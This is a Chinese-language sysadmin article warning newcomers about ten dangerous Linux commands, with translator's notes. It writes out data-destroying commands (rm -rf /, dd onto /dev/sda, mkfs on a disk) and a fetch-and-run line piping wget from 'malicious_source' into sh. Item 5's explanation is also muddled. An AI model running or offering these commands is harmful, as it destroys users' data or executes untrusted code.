Linux下10大危險命令,誤用丟飯碗,謹慎別踩雷

Linux下10大危險命令,誤用丟飯碗,謹慎別踩雷

初入運維和安全的小夥伴,在Linux下進行操作的時候,有些命令特別要小心使用,一不小心會讓你飯碗不保,大家考慮一下互聯網公司什麼最重要? 無疑是數據,如果因為一些誤操作,把數據搞丟了,那不是用錢可以挽回的措施,特此列舉的10個危險命令,都是在root用戶下發生的,如果你使用普通用戶只能影響你的目錄文件,對全局影響不大,因此在使用root權限執行命令的時候,三思而後行。。

NO1:rm -rf (且用且珍惜)

  1. rm 命令在Linux下通常用來刪除文件。

  2. rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)

  3. rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是隻讀的,而只是在意其父目錄是否有寫權限。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。)

  4. rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)

  5. rm -rf *: 強制刪除當前目錄的所有文件。

  6. rm -rf . : 強制刪除當前文件夾及其子文件夾。

防禦手段: 想好了你在按回車

NO2:快捷鍵重啟(ctrl+alt+del)

Linux系統中默認 重啟快捷鍵(ctrl+alt+del)是默認開啟的,在運維過程中,工程師經常使用快捷鍵,特別是在ID=3 的模式下,也是純命令行模式,不進行提醒,直接重啟服務器,在一些關鍵的服務器中,重啟是一個非常大的問題,可能導致服務在重啟中出現異常行為,業務無法啟動。

參考:centos6.5 修復的方法:

step1: /etc/inittab

inittab is only used by upstart for the default runlevel.

#

# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.

#

# System initialization is started by /etc/init/rcS.conf

#

# Individual runlevels are started by /etc/init/rc.conf

#

# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf

#

# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,

# with configuration in /etc/sysconfig/init.

#

# For information on how to write upstart event handlers, or how

# upstart works, see init(5), init(8), and initctl(8).

#

# Default runlevel. The runlevels used are:

# 0 - halt (Do NOT set initdefault to this)

# 1 - Single user mode

# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)

# 3 - Full multiuser mode

# 4 - unused

# 5 - X11

# 6 - reboot (Do NOT set initdefault to this)

#

id:3initdefault:

step2: 修改

# control-alt-delete - emergency keypress handling

#

# This task is run whenever the Control-Alt-Delete key combination is

# pressed. Usually used to shut down the machine.

#

# Do not edit this file directly. If you want to change the behaviour,

# please create a file control-alt-delete.override and put your changes there.

#start on control-alt-delete

#exec /sbin/shutdown -r now "Control-Alt-Delete pressed" // 註釋掉即可

~

NO3:文件查找(find)

find 在linux下進行文件查找,find本身不具有什麼危險性,但是我們要知道假如你的系統掛載了大容量的磁盤和磁盤陣列,那麼find就會長時間佔用主機資源,find是索引磁盤文件,因此給磁盤壓力很大,曾經在做主機基線安全檢查的時候由於find的命令使用不當,導致主機被掃掛。


NO4:> /dev/sda

上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。

NO5:> /dev/null

這個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止數據恢復軟件的救贖,所以,真正的徹底毀滅,需要採用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得乾乾淨淨的。)

NO6:wget http://malicious_source -O- | sh

上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。

注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)

NO7:> file

上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟件都未必能幫助你了。另外,我想你可能真正想用的是“>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似 “> xt.conf” 的命令會覆蓋配置文件或其他任何的系統配置文件。

NO8:dd if=/dev/random of=/dev/sda

上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據麼?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)

NO9:隱藏命令

下面的命令其實就是上面第一個命令 (rm -rf)。這裡的代碼是隱藏在十六進制裡的,一個無知的用戶可能就會被愚弄。在終端裡運行下面命令可能會擦除你的根分區。

這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。

NO10: mkfs.ext3 /dev/sda

上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬盤驅動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀滅性的,上面的數據都會被蒸發了。)


分享到:


相關文章: